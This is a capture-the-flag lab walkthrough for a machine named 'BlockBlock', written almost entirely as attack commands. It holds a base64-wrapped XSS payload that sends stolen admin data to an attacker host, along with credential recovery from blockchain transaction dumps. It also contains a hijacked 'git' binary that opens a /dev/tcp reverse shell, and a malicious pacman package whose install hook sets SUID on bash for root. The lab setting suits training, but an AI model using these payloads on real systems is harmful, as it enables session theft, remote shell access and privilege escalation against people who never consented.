BlockBlock

Find open ports (expect 22, 80, 8545).

$ nmap -p- --min-rate=1000 $TARGET

Fingerprint the services.

$ nmap -sCV -p22,80,8545 $TARGET

Fetch the DBLC home page and headers.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - http://$TARGET/

Returns the current block number (12); further RPC reads are blocked without a token.

$ cast bn -r http://$TARGET:8545

Listener to catch the exfil callback.

$ python3 -m http.server 8000

Base64-encode the JS payload to survive HTML/attribute quoting.

$ echo "(async()=>{const r=await fetch('/api/info');const d=await r.json();fetch('http://$ATTACKER_IP:8000/?data='+btoa(JSON.stringify(d)));})();" | base64 -w0

Paste into the Report User form while logged in as a normal user; the admin bot renders it.

$ Submit this as the reported username: <img src=1 onerror=eval(atob('<b64_from_above>'))>

Decode the captured data= value to recover the admin JWT.

$ echo '<captured_data_value>' | base64 -d

GET the endpoint to obtain the RPC proxy token.

$ curl -sSk -H 'Cookie: token=<admin_jwt>' http://$TARGET/api/json-rpc

Validate the local proxy (listening on 80) that injects the RPC token header and admin cookie before forwarding to the node.

$ cast bl 0 -r http://127.0.0.1:80

Walk all 12 blocks and dump every transaction.

$ rpc=http://127.0.0.1:80; for i in $(seq 0 11); do cast bl $i -r $rpc | grep -A2 'transactions:' | grep -Po '0x.+' >> txns; done; for h in $(cat txns); do cast tx $h -r $rpc > $h; done

Decode the constructor arguments of the Database contract's creation transaction to recover the embedded credential pair.

$ cast tx <database_contract_creation_hash> input -r http://127.0.0.1:80 | xxd -r -p | strings

Authenticate with the password recovered from the chain dump (enter it at the password prompt rather than on the command line).

$ ssh <low_priv_user>@$TARGET

Prove access and read the user flag; replace the shown value with <user.txt> when reporting it.

$ id; hostname; cat /home/<low_priv_user>/user.txt

Enumerate sudo rights; reveals the NOPASSWD forge rule for the second account.

$ sudo -l

Plant a fake 'git' that opens a reverse shell.

$ mkdir /tmp/dot && printf "#!/usr/bin/bash\nbash -i >& /dev/tcp/$ATTACKER_IP/1337 0>&1\n" > /tmp/dot/git && chmod +x /tmp/dot/git

Run from a directory with no .git so forge's submodule check doesn't short-circuit; forge invokes PATH 'git', running the hijacked script as the second user.

$ cd /tmp && PATH=/tmp/dot:$PATH sudo -u <second_user> /home/<second_user>/.foundry/bin/forge build

Local listener to catch the reverse shell (run before the sudo command).

$ nc -nvlp 1337

Confirm unrestricted NOPASSWD pacman.

$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/pacman

Working directory for the malicious package build.

$ mkdir -p /tmp/pacman/root && cd /tmp/pacman

Install hook that sets the SUID bit on bash when the package installs.

$ printf 'post_install(){ chmod +s /usr/bin/bash; }\n' > root.install

Minimal PKGBUILD referencing the install hook; no real payload files needed.

$ cat > PKGBUILD <<'EOF'
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="x"
arch=('x86_64')
license=('GPL')
install=root.install
source=()
package(){ mkdir -p "$pkgdir/usr/bin"; }
EOF

Build the package as the unprivileged user; --skipinteg is required because source=() has nothing to checksum.

$ makepkg --skipinteg

Install as root via the NOPASSWD rule; the post_install hook runs as root and sets the SUID bit.

$ sudo pacman -U --noconfirm privesc-1.0-1-x86_64.pkg.tar.zst

Launch bash with -p to preserve the elevated euid from the SUID bit (plain 'bash' drops it).

$ /usr/bin/bash -p

Prove root access and read the root flag; replace the shown value with <root.txt> when reporting it.

$ id; hostname; cat /root/root.txt